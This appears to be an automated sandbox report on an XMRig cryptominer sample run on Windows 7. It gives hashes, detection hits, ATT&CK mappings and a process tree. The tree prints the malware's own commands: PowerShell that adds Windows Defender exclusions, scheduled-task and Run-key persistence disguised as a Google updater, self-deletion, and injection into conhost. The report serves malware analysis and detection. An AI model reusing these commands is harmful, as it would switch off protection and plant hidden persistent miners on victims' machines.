xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
378s
max time network
1805s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

h5JMkDJvUkEMMWep.exeupdater.execonhost.exe

description	pid	process	target process
PID 2200 created 1372	2200	h5JMkDJvUkEMMWep.exe	Explorer.EXE
PID 2200 created 1372	2200	h5JMkDJvUkEMMWep.exe	Explorer.EXE
PID 2200 created 1372	2200	h5JMkDJvUkEMMWep.exe	Explorer.EXE
PID 2200 created 1372	2200	h5JMkDJvUkEMMWep.exe	Explorer.EXE
PID 2088 created 1372	2088	updater.exe	Explorer.EXE
PID 2088 created 1372	2088	updater.exe	Explorer.EXE
PID 2088 created 1372	2088	updater.exe	Explorer.EXE
PID 2088 created 1372	2088	updater.exe	Explorer.EXE
PID 1648 created 1372	1648	conhost.exe	Explorer.EXE
PID 2088 created 1372	2088	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral20/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral20/memory/2052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2816 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2088 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2572 taskeng.exe

pid	process
2816	cmd.exe

pid	process
2088	updater.exe

pid	process
2572	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral20/memory/2052-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral20/memory/2052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2088 set thread context of 1648	2088	updater.exe	conhost.exe
PID 2088 set thread context of 2052	2088	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

h5JMkDJvUkEMMWep.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	h5JMkDJvUkEMMWep.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2568 schtasks.exe
2764 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2940 WMIC.exe

pid	process
2568	schtasks.exe
2764	schtasks.exe

pid	process
2940	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20444a30b44fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

h5JMkDJvUkEMMWep.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2200	h5JMkDJvUkEMMWep.exe
2200	h5JMkDJvUkEMMWep.exe
2212	powershell.exe
2200	h5JMkDJvUkEMMWep.exe
2200	h5JMkDJvUkEMMWep.exe
2580	powershell.exe
2200	h5JMkDJvUkEMMWep.exe
2200	h5JMkDJvUkEMMWep.exe
2200	h5JMkDJvUkEMMWep.exe
2200	h5JMkDJvUkEMMWep.exe
2632	powershell.exe
2088	updater.exe
2088	updater.exe
2412	powershell.exe
2088	updater.exe
2088	updater.exe
1308	powershell.exe
2088	updater.exe
2088	updater.exe
2088	updater.exe
2088	updater.exe
1648	conhost.exe
1648	conhost.exe
2088	updater.exe
2088	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	2088	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2940	WMIC.exe
Token: SeSecurityPrivilege	2940	WMIC.exe
Token: SeTakeOwnershipPrivilege	2940	WMIC.exe
Token: SeLoadDriverPrivilege	2940	WMIC.exe
Token: SeSystemtimePrivilege	2940	WMIC.exe
Token: SeBackupPrivilege	2940	WMIC.exe
Token: SeRestorePrivilege	2940	WMIC.exe
Token: SeShutdownPrivilege	2940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2940	WMIC.exe
Token: SeUndockPrivilege	2940	WMIC.exe
Token: SeManageVolumePrivilege	2940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2940	WMIC.exe
Token: SeSecurityPrivilege	2940	WMIC.exe
Token: SeTakeOwnershipPrivilege	2940	WMIC.exe
Token: SeLoadDriverPrivilege	2940	WMIC.exe
Token: SeSystemtimePrivilege	2940	WMIC.exe
Token: SeBackupPrivilege	2940	WMIC.exe
Token: SeRestorePrivilege	2940	WMIC.exe
Token: SeShutdownPrivilege	2940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2940	WMIC.exe
Token: SeUndockPrivilege	2940	WMIC.exe
Token: SeManageVolumePrivilege	2940	WMIC.exe
Token: SeLockMemoryPrivilege	2052	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2580 wrote to memory of 2568	2580	powershell.exe	schtasks.exe
PID 2580 wrote to memory of 2568	2580	powershell.exe	schtasks.exe
PID 2580 wrote to memory of 2568	2580	powershell.exe	schtasks.exe
PID 2816 wrote to memory of 2620	2816	cmd.exe	choice.exe
PID 2816 wrote to memory of 2620	2816	cmd.exe	choice.exe
PID 2816 wrote to memory of 2620	2816	cmd.exe	choice.exe
PID 2632 wrote to memory of 2508	2632	powershell.exe	schtasks.exe
PID 2632 wrote to memory of 2508	2632	powershell.exe	schtasks.exe
PID 2632 wrote to memory of 2508	2632	powershell.exe	schtasks.exe
PID 2572 wrote to memory of 2088	2572	taskeng.exe	updater.exe
PID 2572 wrote to memory of 2088	2572	taskeng.exe	updater.exe
PID 2572 wrote to memory of 2088	2572	taskeng.exe	updater.exe
PID 1308 wrote to memory of 2764	1308	powershell.exe	schtasks.exe
PID 1308 wrote to memory of 2764	1308	powershell.exe	schtasks.exe
PID 1308 wrote to memory of 2764	1308	powershell.exe	schtasks.exe
PID 2088 wrote to memory of 1648	2088	updater.exe	conhost.exe
PID 1536 wrote to memory of 2940	1536	cmd.exe	WMIC.exe
PID 1536 wrote to memory of 2940	1536	cmd.exe	WMIC.exe
PID 1536 wrote to memory of 2940	1536	cmd.exe	WMIC.exe
PID 2088 wrote to memory of 2052	2088	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\h5JMkDJvUkEMMWep.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\h5JMkDJvUkEMMWep.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2200

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\h5JMkDJvUkEMMWep.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2764

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1556

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1648

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2568

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2620

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2508

C:\Windows\system32\taskeng.exe
taskeng.exe {7C40A1C9-703C-4DB9-A35F-7C63CCF564E2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2572

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2940

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
177KB

MD5
037049e3089a3c312a239f38afe95407

SHA1
fcc8afadb70def96a0881b988f42e147676dbe44

SHA256
75689636c6b080123abd2df24f46227efa16ce6e5681bf9e595e7519a74769a1

SHA512
4787f0fd3986148186266d5d9aeccd8b5285bf94a4000c90728706c33393e2206b064e077a964697211b6efdc17188e67efd4c3918481a909a5cfda30e60d4e0

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
171KB

MD5
03de14fdcb4812b75b719609cee88786

SHA1
28e5d8abc5449ffe43da28fab6fc23a17dbc7b65

SHA256
5d2d523e26646d507d7c0a3ff8b24a17d5ab51efb1add29278d21b05d2c266fb

SHA512
614f45c5f570f0e136267bd99c4fb551a11b99000cc2bab02e0202c388148f87f8a0f4b9cd0129d44b626cd41fd32d7cd29adfcb2e91ccb848cf340ffd52826a

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
11d52a7521ce7fd23a2243563d5d65c1

SHA1
55b6df4f96ac5ed9d2097bacdd503c4a9e445c52

SHA256
f8191b4ed042d4e1fe08a8d6e65be0d40a293bbb619be5a7b1afdce9b7880dc7

SHA512
e74dd65cef560f4e3d75db650a2f13fafe2dae11b9f00d89c1b8d836fd0d3e5d8cff5071ed222284ebb641d58c77bc21512fd04f5dd9f5709b6190e13f3fb691

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
117KB

MD5
3e413b86ef785bf2fb83b22696d7b0e5

SHA1
6af246bedc8efb6609436d32c00c327c1ba1ff4e

SHA256
7a0ccbe7c522767be993c024647a1307d65b46db2da12688a38d06ec61d31391

SHA512
f30579f58320c36e5594231961a4d2a71e26fb7ecd522efb245472c8e9d4bc244cd14d6b29857e50c825c1bf43fbb4022cce9a4e68a42a5f0c80aa66ee4688b0

Download Submit
memory/1308-57-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/1308-56-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/1308-58-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/1308-59-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1308-55-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1308-54-0x0000000001380000-0x0000000001400000-memory.dmp

Filesize
512KB

Download
memory/1308-53-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1648-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1648-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2052-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-78-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/2052-77-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2052-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-68-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2052-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-70-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/2052-69-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2052-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2088-66-0x000000013F720000-0x000000013F931000-memory.dmp

Filesize
2.1MB

Download
memory/2088-45-0x000000013F720000-0x000000013F931000-memory.dmp

Filesize
2.1MB

Download
memory/2200-29-0x000000013F6A0000-0x000000013F8B1000-memory.dmp

Filesize
2.1MB

Download
memory/2200-0-0x000000013F6A0000-0x000000013F8B1000-memory.dmp

Filesize
2.1MB

Download
memory/2212-6-0x00000000026D0000-0x00000000026D8000-memory.dmp

Filesize
32KB

Download
memory/2212-9-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

